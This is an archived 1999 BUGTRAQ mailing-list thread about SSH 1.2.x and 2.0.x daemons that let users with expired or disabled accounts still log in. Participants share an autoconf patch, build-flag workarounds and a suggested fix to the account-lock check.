SSH Communications Security http://www.ssh.fi/
SSH IPSEC Toolkit http://www.ssh.fi/ipsec/
----------------------
They do know that it does work under Linux and choose to leave it out.
> Any solutions (patch?) to this problem would be appreciated. Currently I
> just run a shell script to change the user's shell to deny them, but this
> shouldn't be necessary since this is one of the listed features of the
> Shadow Utilities.
I have attached a patch, that simply checks for the presence of shadow
passwords and sets the appropriate defines. It does work on Linux 2.0.37pre
and redhat 5.1/5.2. You will have to have autoconf and re-run it to build a
new configure script.
Regards
Jim
>
> Thanks.
> Raymond T Sundland
>
--
--
James Bourne | Email: jbourne@affinity-systems.ab.ca
Affinity Systems Inc. | WWW: http://www.affinity-systems.ab.ca
Everything Unix | Linux: The choice of a GNU generation
----------------------------------------------------------------------
Unix System Administration, System programming, Network Administration
----------[begin patch]----------
diff -ruN ssh-1.2.26.orig/config.h.in ssh-1.2.26/config.h.in
--- ssh-1.2.26.orig/config.h.in Tue Nov 3 09:11:16 1998
+++ ssh-1.2.26/config.h.in Tue Nov 3 09:08:43 1998
@@ -123,6 +123,9 @@
/* Define this to be the path of the rsh program to support executing rsh. */
#undef RSH_PATH
+/* Define this to be the path to the passwd program */
+#undef PASSWD_PATH
+
/* Define this to be the path of the xauth program. */
#undef XAUTH_PATH
diff -ruN ssh-1.2.26.orig/configure.in ssh-1.2.26/configure.in
--- ssh-1.2.26.orig/configure.in Tue Nov 3 09:11:16 1998
+++ ssh-1.2.26/configure.in Tue Nov 3 09:08:43 1998
@@ -200,7 +200,6 @@
if test $ac_cv_func_getspnam = yes; then
AC_DEFINE(HAVE_ETC_SHADOW)
fi
- no_shadows_password_checking=yes
AC_CHECK_FUNCS(pw_encrypt, pwencrypt=yes)
if test $ac_cv_func_pw_encrypt = no; then
AC_CHECK_LIB(shadow, pw_encrypt, [
@@ -459,6 +458,11 @@
AC_DEFINE_UNQUOTED(PASSWD_PATH, "$PASSWD_PATH")
fi
+AC_PATH_PROG(PASSWD_PATH, passwd)
+if test -n "$PASSWD_PATH"; then
+ AC_DEFINE_UNQUOTED(PASSWD_PATH, "$PASSWD_PATH")
+fi
+
AC_PATH_PROG(XAUTH_PATH, xauth)
if test -n "$XAUTH_PATH"; then
AC_DEFINE_UNQUOTED(XAUTH_PATH, "$XAUTH_PATH")
@@ -532,6 +536,7 @@
else
AC_MSG_RESULT(no)
fi
+
if test -z "$no_shadows_password_checking"; then
AC_MSG_CHECKING(for shadow passwords)
-------------------------------------------------------------------------------
Date: Mon, 25 Jan 1999 20:40:09 +0100
From: Linux Mailing Lists <linux@AIIND.UPV.ES>
To: BUGTRAQ@netspace.org
Subject: Re: SSH 1.x and 2.x Daemon
Hello,
> > There seems to be incomplete code in the SSH daemon in both versions 1.2.27
> > and 2.0.11 (only tested). The bug simply allows users who with expired
> > accounts (in /etc/shadow) to continue to login even though other such
> > services such as ftp and telnet deny access. Here is the log using 1.2.27
> > (but the same happens with 2.0.11).
>
> This is not the case with ssh 1.1.26 running on FreeBSD 2.2.8
> If I expire an account:
> Expire [month day year]: January 1, 1999
> Then when I try to ssh in I just get:
> Permission denied.
There's a configure parameter to use the "usual" /bin/login program
instead of the login procedure implemented with ssh:
--with-login[=PATH] Use login -f to finish login connections.
On one hand, a possible fix (temporal, of course) is to compile sshd with
support for /bin/login. The features of the shadow-suite will be back.
On the other hand, SSH 1.2.26 seems to implement the expiration date of
accounts (grep expire sshd.c), but I don't know if it does it ok.
Greetings,
Sergio
-------------------------------------------------------------------------------
Date: Tue, 26 Jan 1999 09:25:36 +0000
From: John RIddoch <jr@SCMS.RGU.AC.UK>
Reply-To: John Riddoch <jr@master.scms.rgu.ac.uk>
To: BUGTRAQ@netspace.org
Subject: Re: SSH 1.x and 2.x Daemon
>Furthermore, if the account is disabled in /etc/passwd and a user logs in
>via a public key, they are still allowed access. (So just diabling a user
>account is not enough anymore. You have to look for uses of public keys as
>well.)
You get the same effect if a user has ~/.rhosts file using rsh/rlogin
>This may not exist in the 2.x series (I have not tested it there), but it
>does occur in the 1.2.x series. (I have not tested the latest version on
>this...)
>
>I would verify the above before panic, but I have seen it occur under one
>such install of 1.2.x. (I will have to look up the version. The drive was
>removed soon after due to hacker d00dz.)
I can verify that using keys and ssh-agent under ssh-2.0.11 (Sparc Solaris
2.6) allows login if the (NIS) account has been disabled.
However, this is no less or greater a problem than the .rhosts file. There
are tools to detect for .rhosts files in disabled accounts; perhaps the
writers of those scripts might be able to add a check for public keys under
ssh?
--
John Riddoch Email: jr@scms.rgu.ac.uk Telephone: (01224)262730
Room C4, School of Computer and Mathematical Science
Robert Gordon University, Aberdeen, AB25 1HG
"Yoda of Borg are we: Futile is resistance. Assimilate you, we will"
-------------------------------------------------------------------------------
Date: Mon, 8 Feb 1999 12:08:28 -0500
From: Tibor Toronyi <tibor@BLACK-OPS.UWINDSOR.CA>
To: BUGTRAQ@netspace.org
Subject: Re: SSH 1.x and 2.x Daemon
----- KuRuPTioN wrote -----
> I have been brainstorming with a few people and I have found a solution to
> the problem I was experiencing. This solution works in both SSH 1.2.26 (not
> 1.2.27, as I was delusional that day) and SSH 2.0.11.
>
> In SSH 1.2.26 adding the -DHAVE_STRUCT_SPWD_EXPIRE to the Makefile in the
> top of the SSH tree with fix the problem.
As a side note (after checking into this problem), I noticed that the
server code ONLY checks for "*LK*" in the password field to see if the
person is disabled. Not sure of other places but we've had to modify the
code a bit so that instead of
if ((strncmp(passwd,"*LK*", 4) == 0)
I'd recommend
if ((strchr (passwd, '*') != (char *) NULL)
--------------------------------------------------------------------------
Tibor Toronyi voice: (519) 253-4232 ext. 2753
Information Technology Services fax: (519) 973-7083
University of Windsor email: tibor@uwindsor.ca
Windsor, Ontario, Canada /* Live long and prosper. */
N9B 3P4 /* Mr. Spock */
PGP Public Key: finger tibor@black-ops.uwindsor.ca
http://black-ops.uwindsor.ca/pgp
SSH 1.x and 2.x Daemon bug allows users with expired accounts to log in via ssh, even when access has been denied to other services, such as telnet and ftp.